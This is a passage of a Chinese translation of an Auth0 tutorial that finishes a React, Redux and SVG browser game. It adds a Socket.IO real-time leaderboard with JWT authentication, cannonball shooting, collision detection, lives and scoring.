io.emit('players', players);\n};\n\nio.on('connection', (socket) => {\n  const { token } = socket.handshake.query;\n\n  verifyPlayer(token, (err) => {\n    if (err) socket.disconnect();\n    io.emit('players', players);\n  });\n\n  socket.on('new-max-score', newMaxScoreHandler);\n});\n\nhttp.listen(3001, () => {\n  console.log('listening on port 3001');\n});\n```\n\n在学习这部分代码做什么之前，使用你的 Auth0 域（和你添加到 `App.js` 文件是一样那个）替换 `YOUR_AUTH0_DOMAIN`。你可以在 `jwksUri` 属性值中找到这个占位符。\n\n现在，为了理解这个事情是怎么工作的，查看这个列表：\n\n*   `express` 和 `socket.io`：这只是一个通过 Socket.IO 加强的 [Express](https://expressjs.com/) 服务器来使它具备实时的特性。如果你以前没有用过 Socket.IO，查看他们的 _Get Started_ 教程。它真的很简单。\n*   `jwt` 和 `jwksClient`：当 Auth0 认证的时候，你的玩家（在其他事情之外）会在 JWT (JSON Web Token) 表单中得到一个 `access_token`。因为你使用 _RS256_ 签名算法，你需要使用 `jwksClient` 包来获取正确的公钥来认证 JWTs。你收到的 JWTs 中包含一个  `kid` 属性（Key ID），你可以使用这个属性得到正确的公钥（如果你感到困惑，[你可以在这儿了解更多地 JWKS](https://auth0.com/docs/jwks)）。\n*   `jwt.verify`：在找到正确的钥匙之后，你可以使用这个方法来解码和认证 JWTs。如果他们都很好，你就给请求的人发送 `players` 列表。如果他们没有经过认证，你 `disconnect` 这个 `socket`（用户）。\n*   `on('new-max-score', ...)`：最后，你在 `new-max-score` 事件上附加 `newMaxScoreHandler` 方法。因此，无论什么时候你需要更新一个用户的最高分，你会需要在你的 React 应用中触发这个事件。\n\n剩余的代码非常直观。因此，你能关注在你的游戏中集成这个服务。\n\n## Socket.IO 和 React\n\n在创建你的实时后端服务之后，是时候将它集成到你的 React 游戏中了。使用 React 和 Socket.IO 最好的方式是安装 [`socket.io-client` 包](https://github.com/socketio/socket.io-client)。你可以在你的 React 应用根目录下输入以下命令来安装它：\n\n```\nnpm i socket.io-client\n```\n\n然后，在那之后，无论什么时候玩家认证，你将使你的游戏连接你的服务（你不需要给没有认证的玩家显示排行榜）。因为你使用 Redux 来保存游戏的状态，你需要两个 actions 来保持你的 Redux 存储最新。因此，打开 `./src/actions/index.js` 文件并且按照下面来更新它：\n\n```\nexport const LEADERBOARD_LOADED = 'LEADERBOARD_LOADED';\nexport const LOGGED_IN = 'LOGGED_IN';\n// ... MOVE_OBJECTS and START_GAME ...\n\nexport const leaderboardLoaded = players => ({\n  type: LEADERBOARD_LOADED,\n  players,\n});\n\nexport const loggedIn = player => ({\n  type: LOGGED_IN,\n  player,\n});\n\n// ... moveObjects and startGame ...\n```\n\n这个新版本定义在两种情况下会被触发的 actions：\n\n1. `LOGGED_IN`：当一个玩家登陆，你使用这个 action 连接你的 React 游戏到实时服务。\n2. `LEADERBOARD_LOADED`：当实时服务发送玩家列表，你使用这个 action 用这些玩家来更新 Redux 存储。\n\n要使你的 Redux 存储回应这些 actions，打开 `./src/reducers/index.js` 文件并且按照下面来更新它：\n\n```\nimport {\n  LEADERBOARD_LOADED, LOGGED_IN,\n  MOVE_OBJECTS, START_GAME\n} from '../actions';\n// ... other import statements\n\nconst initialGameState = {\n  // ... other game state properties\n  currentPlayer: null,\n  players: null,\n};\n\n// ... initialState definition\n\nfunction reducer(state = initialState, action) {\n  switch (action.type) {\n    case LEADERBOARD_LOADED:\n      return {\n        ...state,\n        players: action.players,\n      };\n    case LOGGED_IN:\n      return {\n        ...state,\n        currentPlayer: action.player,\n      };\n    // ... MOVE_OBJECTS, START_GAME, and default cases\n  }\n}\n\nexport default reducer;\n```\n\n现在，无论你的游戏什么时候触发  `LEADERBOARD_LOADED` action，你会使用新的玩家数组列表来更新你的 Redux 存储。除此之外，无论什么时候一个玩家登陆（`LOGGED_IN`），你将在你的存储中更新 `currentPlayer` 。\n\n然后，为了是你的游戏使用这些新的 actions， 打开 `./src/containers/Game.js` 文件并且按照下面来更新它：\n\n```\n// ... other import statements\nimport {\n  leaderboardLoaded, loggedIn,\n  moveObjects, startGame\n} from '../actions/index';\n\nconst mapStateToProps = state => ({\n  // ... angle and gameState\n  currentPlayer: state.currentPlayer,\n  players: state.players,\n});\n\nconst mapDispatchToProps = dispatch => ({\n  leaderboardLoaded: (players) => {\n    dispatch(leaderboardLoaded(players));\n  },\n  loggedIn: (player) => {\n    dispatch(loggedIn(player));\n  },\n  // ... moveObjects and startGame\n});\n\n// ... connect and export statement\n```\n\n有了它，你准备好了使你的游戏接入实时服务来加载和更新排行榜。因此，打开 `./src/App.js` 文件并且按照下面来更新它：\n\n```\n// ... other import statements\nimport io from 'socket.io-client';\n\nAuth0.configure({ \n  // ... other properties\n  audience: 'https://aliens-go-home.digituz.com.br',\n});\n\nclass App extends Component {\n  // ... constructor\n\n  componentDidMount() {\n    const self = this;\n\n    Auth0.handleAuthCallback();\n\n    Auth0.subscribe((auth) => {\n      if (!auth) return;\n\n      const playerProfile = Auth0.getProfile();\n      const currentPlayer = {\n        id: playerProfile.sub,\n        maxScore: 0,\n        name: playerProfile.name,\n        picture: playerProfile.picture,\n      };\n\n      this.props.loggedIn(currentPlayer);\n\n      const socket = io('http://localhost:3001', {\n        query: `token=${Auth0.getAccessToken()}`,\n      });\n\n      let emitted = false;\n      socket.on('players', (players) => {\n        this.props.leaderboardLoaded(players);\n\n        if (emitted) return;\n        socket.emit('new-max-score', {\n          id: playerProfile.sub,\n          maxScore: 120,\n          name: playerProfile.name,\n          picture: playerProfile.picture,\n        });\n        emitted = true;\n        setTimeout(() => {\n          socket.emit('new-max-score', {\n            id: playerProfile.sub,\n            maxScore: 222,\n            name: playerProfile.name,\n            picture: playerProfile.picture,\n          });\n        }, 5000);\n      });\n    });\n\n    // ... setInterval and onresize\n  }\n\n  // ... trackMouse\n\n  render() {\n    return (\n      <Canvas\n        angle={this.props.angle}\n        currentPlayer={this.props.currentPlayer}\n        gameState={this.props.gameState}\n        players={this.props.players}\n        startGame={this.props.startGame}\n        trackMouse={event => (this.trackMouse(event))}\n      />\n    );\n  }\n}\n\nApp.propTypes = {\n  // ... other propTypes definitions\n  currentPlayer: PropTypes.shape({\n    id: PropTypes.string.isRequired,\n    maxScore: PropTypes.number.isRequired,\n    name: PropTypes.string.isRequired,\n    picture: PropTypes.string.isRequired,\n  }),\n  leaderboardLoaded: PropTypes.func.isRequired,\n  loggedIn: PropTypes.func.isRequired,\n  players: PropTypes.arrayOf(PropTypes.shape({\n    id: PropTypes.string.isRequired,\n    maxScore: PropTypes.number.isRequired,\n    name: PropTypes.string.isRequired,\n    picture: PropTypes.string.isRequired,\n  })),\n};\n\nApp.defaultProps = {\n  currentPlayer: null,\n  players: null,\n};\n\nexport default App;\n```\n\n正如你在上面看到的代码，你做了这些：\n\n1. 配置了 `Auth0` 模块上的 `audience` 属性；\n2. 抓去了当前玩家的个人数据（`Auth0.getProfile()`）来创建 `currentPlayer` 常量，并且更新了 Redux 存储（`this.props.loggedIn(...)`）；\n3. 用玩家的 `access_token` 连接你的实时服务（`io('http://localhost:3001', ...)`）；\n4. 监听实时服务触发的玩家事件，更新 Redux 存储（`this.props.leaderboardLoaded(...)`）；\n\n然后，你的游戏还没有完成，你的玩家还不能杀死外星人，你加入一些临时代码模拟 `new-max-score` 事件。第一，你出发一个新的 `120` 分的 `maxScore`，把登陆的玩家放在第五的位置。然后，五秒钟（`setTimeout(..., 5000)`）之后，你出发一个新的 `222` 分的 `maxScore`，把登陆的玩家放在第二的位置。\n\n除了这些变化，你向你的 `Canvas` 传入两个新的属性： `currentPlayer` 和 `players`。因此，你需要打开 `./src/components/Canvas.jsx` 并且更新它：\n\n```\n// ... import statements\n\nconst Canvas = (props) => {\n  // ... gameHeight and viewBox constants\n\n  // REMOVE the leaderboard constant !!!!\n\n  return (\n    <svg ...>\n      // ... other elements\n\n      { ! props.gameState.started &&\n      <g>\n        // ... StartGame and Title\n        <Leaderboard currentPlayer={props.currentPlayer} authenticate={signIn} leaderboard={props.players} />\n      </g>\n      }\n\n      // ... flyingObjects.map\n    </svg>\n  );\n};\n\nCanvas.propTypes = {\n  // ... other propTypes definitions\n  currentPlayer: PropTypes.shape({\n    id: PropTypes.string.isRequired,\n    maxScore: PropTypes.number.isRequired,\n    name: PropTypes.string.isRequired,\n    picture: PropTypes.string.isRequired,\n  }),\n  players: PropTypes.arrayOf(PropTypes.shape({\n    id: PropTypes.string.isRequired,\n    maxScore: PropTypes.number.isRequired,\n    name: PropTypes.string.isRequired,\n    picture: PropTypes.string.isRequired,\n  })),\n};\n\nCanvas.defaultProps = {\n  currentPlayer: null,\n  players: null,\n};\n\nexport default Canvas;\n```\n\n在这个文件里，你需要做以下的变更：\n\n1. 删除常量 `leaderboard`。现在，你通过你的实时服务加载这个常量。\n2. 更新 `<Leaderboard />` 元素。你现在已经有了更多地真是数据了：`props.currentPlayer` and `props.players`。\n3. 加强 `propTypes` 的定义使  `Canvas` 组件能够使用 `currentPlayer` 和 `players` 的值。\n\n好了！你已经整合了你的 React 游戏排行榜和 Socket.IO 实时服务。要测试所有的事务，执行以下的命令：\n\n```\n# 进入实时服务的目录\ncd server\n\n# 在后台运行这个命令\nnode index.js &\n\n# 回到你的游戏\ncd ..\n\n# 启动 React 开发服务\nnpm start\n```\n\n然后，在浏览器中打开你的游戏（[`http://localhost:3000`](http://localhost:3000)）。这样，在登陆之后，你就能看到你出现在了第五的位置，5秒钟之后，你就会跳到第二的位置。\n\n![测试你的 React 游戏的 Socket.IO 实时排行榜](https://cdn.auth0.com/blog/aliens-go-home/real-time-leaderboard.png)\n\n## 实现剩余的部分\n\n现在，你已经差不多完成了你的游戏的所有东西。你已经创建了游戏需要的 React 元素，你已经添加了绝大部分的动画效果，你已经实现了排行榜特性。这个难题的遗失的部分是：\n\n*   _Shooting Cannon Balls_ ：为了杀外星人，你必须允许你的玩家射击大炮炮弹。\n*   _Detecting Collisions_ ：正像你的游戏会有大炮炮弹，飞行的物体到到处动，你必须实现一个检测这些物体碰撞的算法。\n*   _Updating Lives and the Current Score_ ：在实现你的玩家杀死飞行物体之后，你的游戏必须增加他们当前的分数，以至于他们能够达到新的最大分数。同样的，你需要在飞行物体入侵地球之后减掉生命。\n*   _Updating the Leaderboard_ ：当实现了上面的所有特性，最后一件你需要做的事是用新的最高分数更新排行榜。\n\n所以，在接下来的部分，你将关注实现这些部分来完成你的游戏。\n\n### 发射大炮炮弹\n\n要使你的玩家射击大炮炮弹，你将在你的 `Canvas` 添加一个 `onClick` 时间侦听器。然后，当点击的时候，你的 canvas 会触发 Redux 的  action 添加一个炮弹到 Redux store（实际上就是你的游戏的 state）。炮弹的移动将被 `moveObjects` reducer 处理。\n\n要开始实现这个特性，你可以从创建 Redux action 开始。要做这个，打开 `./src/actions/index.js` 文件，加入以下代码：\n\n```\n// ... other string constants\n\nexport const SHOOT = 'SHOOT';\n\n// ... other function constants\n\nexport const shoot = (mousePosition) => ({\n  type: SHOOT,\n  mousePosition,\n});\n```\n\n然后，你能够准备 reducer（`./src/reducers/index.js`）来处理这个 action：\n\n```\nimport {\n  LEADERBOARD_LOADED, LOGGED_IN,\n  MOVE_OBJECTS, SHOOT, START_GAME\n} from '../actions';\n// ... other import statements\nimport shoot from './shoot';\n\nconst initialGameState = {\n  // ... other properties\n  cannonBalls: [],\n};\n\n// ... initialState definition\n\nfunction reducer(state = initialState, action) {\n  switch (action.type) {\n    // other case statements\n    case SHOOT:\n      return shoot(state, action);\n    // ... default statement\n  }\n}\n```\n\n正如你看到的，你的 reducer 的新版本在接收到 `SHOOT` action 时，使用 `shoot` 方法。你仍然需要定义这个方法。所以，在和 reducer 同样的目录下创建一个名为 `shoot.js` 的文件，并加入以下代码：\n\n```\nimport { calculateAngle } from '../utils/formulas';\n\nfunction shoot(state, action) {\n  if (!state.gameState.started) return state;\n\n  const { cannonBalls } = state.gameState;\n\n  if (cannonBalls.length === 2) return state;\n\n  const { x, y } = action.mousePosition;\n\n  const angle = calculateAngle(0, 0, x, y);\n\n  const id = (new Date()).getTime();\n  const cannonBall = {\n    position: { x: 0, y: 0 },\n    angle,\n    id,\n  };\n\n  return {\n    ...state,\n    gameState: {\n      ...state.gameState,\n      cannonBalls: [...cannonBalls, cannonBall],\n    }\n  };\n}\n\nexport default shoot;\n```\n\n这个方法从检查这个游戏是否启动为开始。如果没有启动，它只是返回当前的状态。否则，它会检查游戏中是否已经有两个炮弹。你通过限制炮弹的数量来使游戏变得更困难一点。如果玩家发射了少于两发的炮弹，这个函数使用 `calculateAngle` 定义新炮弹的弹道。然后，最后，这个函数创建了一个新的代表炮弹的对象并且返回了一个新的 Redux store 的 state。\n\n在定义这个 action 和 reducer 处理它之后，你将更新 `Game` 容器给 `App` 组件提供 action。所以，打开 `./src/containers/Game.js` 文件并且按照下面的来更新它：\n\n```\n// ... other import statements\nimport {\n  leaderboardLoaded, loggedIn,\n  moveObjects, startGame, shoot\n} from '../actions/index';\n\n// ... mapStateToProps\n\nconst mapDispatchToProps = dispatch => ({\n  // ... other functions\n  shoot: (mousePosition) => {\n    dispatch(shoot(mousePosition))\n  },\n});\n\n// ... connect and export\n```\n\n现在，你需要更新 `./src/App.js` 文件来使用你的 dispatch wrapper：\n\n```\n// ... import statements and Auth0.configure\n\nclass App extends Component {\n  constructor(props) {\n    super(props);\n    this.shoot = this.shoot.bind(this);\n  }\n\n  // ... componentDidMount and trackMouse definition\n\n  shoot() {\n    this.props.shoot(this.canvasMousePosition);\n  }\n\n  render() {\n    return (\n      <Canvas\n        // other props\n        shoot={this.shoot}\n      />\n    );\n  }\n}\n\nApp.propTypes = {\n  // ... other propTypes\n  shoot: PropTypes.func.isRequired,\n};\n\n// ... defaultProps and export statements\n```\n\n正如你在这里看到的，你在 `App` 的类中定义一个新的方法使用 `canvasMousePosition` 来调用 `shoot` dispatcher。然后，你传递把这个新的方法传递到 `Canvas` 组件。所以，你仍然需要加强这个组件，将这个方法附加到 `svg` 元素的 `onClick` 事件监听器并且使它渲染加农炮弹：\n\n```\n// ... other import statements\nimport CannonBall from './CannonBall';\n\nconst Canvas = (props) => {\n  // ... gameHeight and viewBox constant\n\n  return (\n    <svg\n      // ... other properties\n      onClick={props.shoot}\n    >\n      // ... defs, Sky and Ground elements\n\n      {props.gameState.cannonBalls.map(cannonBall => (\n        <CannonBall\n          key={cannonBall.id}\n          position={cannonBall.position}\n        />\n      ))}\n\n      // ... CannonPipe, CannonBase, CurrentScore, etc\n    </svg>\n  );\n};\n\nCanvas.propTypes = {\n  // ... other props\n  shoot: PropTypes.func.isRequired,\n};\n\n// ... defaultProps and export statement\n```\n\n\n> **提示：** 在 `CannonPipe` _之前_ 添加 `cannonBalls.map` 很重要，否则炮弹将和大炮自身重叠。\n\n这些改变足够是你的游戏在炮弹的初始位置添加炮弹了（`x: 0`, `y: 0`）并且 他们的弹道（`angle`）已经定义好。现在的问题是这些对象是没有动画的（其实就是他们不会动）。\n\n要使他们动，你将需要在 `./src/utils/formulas.js` 文件中添加两个函数：\n\n```\n// ... other functions\n\nconst degreesToRadian = degrees => ((degrees * Math.PI) / 180);\n\nexport const calculateNextPosition = (x, y, angle, divisor = 300) => {\n  const realAngle = (angle * -1) + 90;\n  const stepsX = radiansToDegrees(Math.cos(degreesToRadian(realAngle))) / divisor;\n  const stepsY = radiansToDegrees(Math.sin(degreesToRadian(realAngle))) / divisor;\n  return {\n    x: x +stepsX,\n    y: y - stepsY,\n  }\n};\n```\n\n> **提示：** 要学习上面工作的公式，[看这里](https://answers.unity.com/questions/491719/how-to-calculate-a-new-position-having-angle-and-d.html)\n\n你将在新的名为 `moveCannonBalls.js` 的文件中使用 `calculateNextPosition` 方法。所以，在 `./src/reducers/` 目录中创建这个文件，并加入以下代码：\n\n```\nimport { calculateNextPosition } from '../utils/formulas';\n\nconst moveBalls = cannonBalls => (\n  cannonBalls\n    .filter(cannonBall => (\n      cannonBall.position.y > -800 && cannonBall.position.x > -500 && cannonBall.position.x < 500\n    ))\n    .map((cannonBall) => {\n      const { x, y } = cannonBall.position;\n      const { angle } = cannonBall;\n      return {\n        ...cannonBall,\n        position: calculateNextPosition(x, y, angle, 5),\n      };\n    })\n);\n\nexport default moveBalls;\n```\n\n在这个文件暴露的方法中，你做了两件重要的事情。第一，你使用 `filter` 方法去除了没有再特定区域中的 `cannonBalls`。这就是，你删除了 Y-axis 坐标小于 `-800`，或者向左边移动太多的（小于 `-500`），或者向右边移动太多的（大于 `500`）。\n\n最后，要使用这个方法，你将需要将 `./src/reducers/moveObjects.js` 按照下面来重构：\n\n```\n// ... other import statements\nimport moveBalls from './moveCannonBalls';\n\nfunction moveObjects(state, action) {\n  if (!state.gameState.started) return state;\n\n  let cannonBalls = moveBalls(state.gameState.cannonBalls);\n\n  // ... mousePosition, createFlyingObjects, filter, etc\n\n  return {\n    ...newState,\n    gameState: {\n      ...newState.gameState,\n      flyingObjects,\n      cannonBalls,\n    },\n    angle,\n  };\n}\n\nexport default moveObjects;\n```\n\n在这个文件的新版本中，你简单的加强了之前的 `moveObjects` reducer 来使用新的 `moveBalls` 函数。然后，你使用这个函数的结果来给 `gameState` 的 `cannonBalls` 属性定义一个新数组。\n\n现在，完成了这些更改之后，你的玩家能够发射炮弹了。你可以在一个浏览器中通过测试你的游戏来查看这一点。\n\n![在一个使用 React，Redux 和 SVGs 的游戏中使玩家能够发射炮弹](https://cdn.auth0.com/blog/aliens-go-home/shooting-cannon-balls.png)\n\n### 检测碰撞\n\n现在你的游戏支持发射炮弹并且这里有飞行的物体入侵地球，这是一个好的时机添加一个检测碰撞的算法。有了这个算法，你可以删除相碰撞的炮弹和飞行物体。这也使你能够继续接下来的特性：**增加当前的分数。**\n\n一个好的实现这个检测碰撞算法的策略是把炮弹和飞行物体想象成为矩形。尽管这个策略不如按照物体真实形状实现的算法准确，但是把它们作为矩形处理会使每件事情变得简单。除此之外，对于这个游戏，你不需要很精确，因为，幸运的是，你不需要这个算法杀死真的外星人。\n\n\n在脑袋中有这个想法之后，添加接下来的方法到 `./src/utils/formulas.js` 文件中：\n\n```\n// ... other functions\n\nexport const checkCollision = (rectA, rectB) => (\n  rectA.x1 < rectB.x2 && rectA.x2 > rectB.x1 &&\n  rectA.y1 < rectB.y2 && rectA.y2 > rectB.y1\n);\n```\n\n正像你看到的，把这些对象按照矩形来看待，使你在这些简单的情况下检测是否重叠。现在，为了使用这个函数，在 `./src/reducers` 目录下，创建一个名为 `checkCollisions.js` 的新文件，添加以下的代码：\n\n```\nimport { checkCollision } from '../utils/formulas';\nimport { gameHeight } from '../utils/constants';\n\nconst checkCollisions = (cannonBalls, flyingDiscs) => {\n  const objectsDestroyed = [];\n  flyingDiscs.forEach((flyingDisc) => {\n    const currentLifeTime = (new Date()).getTime() - flyingDisc.createdAt;\n    const calculatedPosition = {\n      x: flyingDisc.position.x,\n      y: flyingDisc.position.y + ((currentLifeTime / 4000) * gameHeight),\n    };\n    const rectA = {\n      x1: calculatedPosition.x - 40,\n      y1: calculatedPosition.y - 10,\n      x2: calculatedPosition.x + 40,\n      y2: calculatedPosition.y + 10,\n    };\n    cannonBalls.forEach((cannonBall) => {\n      const rectB = {\n        x1: cannonBall.position.x - 8,\n        y1: cannonBall.position.y - 8,\n        x2: cannonBall.position.x + 8,\n        y2: cannonBall.position.y + 8,\n      };\n      if (checkCollision(rectA, rectB)) {\n        objectsDestroyed.push({\n          cannonBallId: cannonBall.id,\n          flyingDiscId: flyingDisc.id,\n        });\n      }\n    });\n  });\n  return objectsDestroyed;\n};\n\nexport default checkCollisions;\n```\n\n文件中的这些代码基本上做了下面几件事：\n\n1. 定义了一个名为 `objectsDestroyed` 的数组来存储所有毁掉的东西。\n2. 通过迭代 `flyingDiscs` 数组（使用 `forEach` 方法）创建矩形来代表飞行物。**提示**，因为你使用 CSS 动画来使物体移动，你需要基于 `currentLifeTime` 的 Y-axis 计算他们位置。\n3. 通过迭代 `cannonBalls` 数组（使用 `forEach` 方法）创建矩形来代表炮弹。\n4. 调用 `checkCollision` 方法，来决定这两个矩形是否必须被摧毁。然后，如果他们必须被摧毁，他们被添加到 `objectsDestroyed` 数组，由这个方法返回。\n\n最后，你需要更新 `moveObjects.js` 文件，参照下面来使用这个方法：\n\n```\n// ... import statements\n\nimport checkCollisions from './checkCollisions';\n\nfunction moveObjects(state, action) {\n  // ... other statements and definitions\n\n  // the only change in the following three lines is that it cannot\n  // be a const anymore, it must be defined with let\n  let flyingObjects = newState.gameState.flyingObjects.filter(object => (\n    (now - object.createdAt) < 4000\n  ));\n\n  // ... { x, y } constants and angle constant\n\n  const objectsDestroyed = checkCollisions(cannonBalls, flyingObjects);\n  const cannonBallsDestroyed = objectsDestroyed.map(object => (object.cannonBallId));\n  const flyingDiscsDestroyed = objectsDestroyed.map(object => (object.flyingDiscId));\n\n  cannonBalls = cannonBalls.filter(cannonBall => (cannonBallsDestroyed.indexOf(cannonBall.id)));\n  flyingObjects = flyingObjects.filter(flyingDisc => (flyingDiscsDestroyed.indexOf(flyingDisc.id)));\n\n  return {\n    ...newState,\n    gameState: {\n      ...newState.gameState,\n      flyingObjects,\n      cannonBalls,\n    },\n    angle,\n  };\n}\n\nexport default moveObjects;\n```\n\n这里，你使用 `checkCollisions` 函数的结果从 `cannonBalls` 和 `flyingObjects` 数组中移除对象。\n\n\n现在，当炮弹和飞行物体重叠，新版本的 `moveObjects` reducer 把它们从 `gameState` 删除。你可以在浏览器中看到这个 action。\n\n### 更新生命数和当前分数\n\n无论什么时候飞行的物体入侵地球，你必须减少玩家持有的命的数量。所以，当玩家没有更多地生命值的时候，你必须结束游戏。要实现这些特性，你只需要更新两个文件。第一个文件是 `./src/reducers/moveObject.js`。你需要按照下面来更新它：\n\n```\nimport { calculateAngle } from '../utils/formulas';\nimport createFlyingObjects from './createFlyingObjects';\nimport moveBalls from './moveCannonBalls';\nimport checkCollisions from './checkCollisions';\n\nfunction moveObjects(state, action) {\n  // ... code until newState.gameState.flyingObjects.filter\n\n  const lostLife = state.gameState.flyingObjects.length > flyingObjects.length;\n  let lives = state.gameState.lives;\n  if (lostLife) {\n    lives--;\n  }\n\n  const started = lives > 0;\n  if (!started) {\n    flyingObjects = [];\n    cannonBalls = [];\n    lives = 3;\n  }\n\n  // ... x, y, angle, objectsDestroyed, etc ...\n\n  return {\n    ...newState,\n    gameState: {\n      ...newState.gameState,\n      flyingObjects,\n      cannonBalls: [...cannonBalls],\n      lives,\n      started,\n    },\n    angle,\n  };\n}\n\nexport default moveObjects;\n```\n\n这些行新代码只是简单的比较了 `flyingObjects` 数组和其在 `state` 中的初始长度来决定玩家是否失去生命。这个策略有效是因为你把这些代码添加在了弹出飞行物体之后并且在删除碰撞物体之前。这些飞行物体在游戏中保持 4 秒钟（`(now - object.createdAt) < 4000`）。所以，如果这些数组的长度发生了变化，就意味着飞行物体入侵了地球。\n\n现在，给玩家展示他们的生命数，你需要更新 `Canvas` 组件。所以，打开 `./src/components/Canvas.jsx` 文件并且按照下面来更新：\n\n```\n// ... other import statements\nimport Heart from './Heart';\n\nconst Canvas = (props) => {\n  // ... gameHeight and viewBox constants\n\n  const lives = [];\n  for (let i = 0; i < props.gameState.lives; i++) {\n    const heartPosition = {\n      x: -180 - (i * 70),\n      y: 35\n    };\n    lives.push(<Heart key={i} position={heartPosition}/>);\n  }\n\n  return (\n    <svg ...>\n      // ... all other elements\n\n      {lives}\n    </svg>\n  );\n};\n\n// ... propTypes, defaultProps, and export statements\n```\n\n有了这些更改，你的游戏几乎完成了。玩家已经能够发射和杀死飞行物体，并且如果太多的它们进攻地球，游戏结束。现在，为了完成这部分，你需要更新玩家当前的分数，这样他们才能比较谁杀了更多地外星人。\n\n做这个来加强你的游戏很简单。你只需要按以下来更新 `./src/reducers/moveObjects.js` 这个文件：\n\n```\n// ... import statements\n\nfunction moveObjects(state, action) {\n  // ... everything else\n\n  const kills = state.gameState.kills + flyingDiscsDestroyed.length;\n\n  return {\n    // ...newState,\n    gameState: {\n      // ... other props\n      kills,\n    },\n    // ... angle,\n  };\n}\n\nexport default moveObjects;\n```\n\n然后，在 `./src/components.Canvas.jsx` 文件，你需要用这个来替换 `CurrentScore` 组件（硬编码值为 15）：\n\n```\n<CurrentScore score={props.gameState.kills} />\n```\n\n> “我使用 React、Redux、SVG 和 CSS 动画创建一个游戏。”\n\n### 更新排行榜\n\n好消息！更新排行榜是你说你使用 React、Redux、SVG 和 CSS 动画完成了一个游戏所需要做的最后一件事。同样的，正如你看到的，这里的工作很快并且没有痛苦。\n\n第一，你需要更新 `./server/index.js` 文件来重置 `players` 数组。你不希望你发布的游戏里是假用户和假结果。所以，打开这个文件并且删除所有的假玩家/结果。最后，你会有像下面这样定义的常量：\n\n```\nconst players = [];\n```\n\n然后，你需要重构 `App` 组件。所以，打开 `./src/App.js` 文件并且做下面的修改：\n\n```\n// ... import statetments\n\n// ... Auth0.configure\n\nclass App extends Component {\n  constructor(props) {\n    // ... super and this.shoot.bind(this)\n    this.socket = null;\n    this.currentPlayer = null;\n  }\n\n  // replace the whole content of the componentDidMount method\n  componentDidMount() {\n    const self = this;\n\n    Auth0.handleAuthCallback();\n\n    Auth0.subscribe((auth) => {\n      if (!auth) return;\n\n      self.playerProfile = Auth0.getProfile();\n      self.currentPlayer = {\n        id: self.playerProfile.sub,\n        maxScore: 0,\n        name: self.playerProfile.name,\n        picture: self.playerProfile.picture,\n      };\n\n      this.props.loggedIn(self.currentPlayer);\n\n      self.socket = io('http://localhost:3001', {\n        query: `token=${Auth0.getAccessToken()}`,\n      });\n\n      self.socket.on('players', (players) => {\n        this.props.leaderboardLoaded(players);\n        players.forEach((player) => {\n          if (player.id === self.currentPlayer.id) {\n            self.currentPlayer.maxScore = player.maxScore;\n          }\n        });\n      });\n    });\n\n    setInterval(() => {\n      self.props.moveObjects(self.canvasMousePosition);\n    }, 10);\n\n    window.onresize = () => {\n      const cnv = document.getElementById('aliens-go-home-canvas');\n      cnv.style.width = `${window.innerWidth}px`;\n      cnv.style.height = `${window.innerHeight}px`;\n    };\n    window.onresize();\n  }\n\n  componentWillReceiveProps(nextProps) {\n    if (!nextProps.gameState.started && this.props.gameState.started) {\n      if (this.currentPlayer.maxScore < this.props.gameState.kills) {\n        this.socket.emit('new-max-score', {\n          ...this.currentPlayer,\n          maxScore: this.props.gameState.kills,\n        });\n      }\n    }\n  }\n\n  // ... trackMouse, shoot, and render method\n}\n\n// ... propTypes, defaultProps, and export statement\n```\n\n做一个总结，这些是你在这个组件中做的更改：\n\n*   你在它的类里面定义两个新属性（`socket` 和 `currentPlayer`），这样你就能在不同的方法里使用它们。\n*   你删除用来触发模拟 `new-max-score` 事件的假的最高分。\n*   你通过迭代 `players` 数组（你从 Socket.IO 后台接收到的）来设置玩家正确的最高分。就这样，如果他们再一次回来啊，他们仍然会有 `maxScore` 记录\n*   你定义 `componentWillReceiveProps` 生命周期来检查玩家是否打到了一个新的 `maxScore`。如果是，你的游戏触发一个 `new-max-score` 事件去更新排行榜\n\n这就是了！你的游戏已经准备好了第一次。要看所有的行为，用下面的代码运行 Socket.IO 后台和你的 React 应用：\n\n```\n# 在后台运行后端服务\nnode ./server/index &\n\n# 运行 React 应用\nnpm start\n```\n\n然后，运行浏览器，使用不同得 email 地址认证，并且杀一些外星人。你可以看到，当游戏结束的时候，排行榜将会在两个浏览器更新。\n\n![Aliens, Go Home! 游戏完成。](https://cdn.auth0.com/blog/aliens-go-home/complete.png)\n\n## 总结\n\n在这个系列中，你使用了很多惊人的技术来创建一个好游戏。你使用了 React 来定义和控制游戏元素，你使用了 SVG（代替 HTML）来渲染这些元素，你使用了 Redux 来控制游戏的状态，并且你使用了 CSS 动画使外星人在屏幕上运动。哦，除此之外，你甚至使用了一点 Socket.IO 使你的排行榜是实时的，并使用 Auth0 作为你游戏的身份管理系统。\n\n唉！你走了很长的路，你在这三篇文章中学了很多。可能是时候休息一下，玩会儿你的游戏了。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/differentiable-plasticity.md",
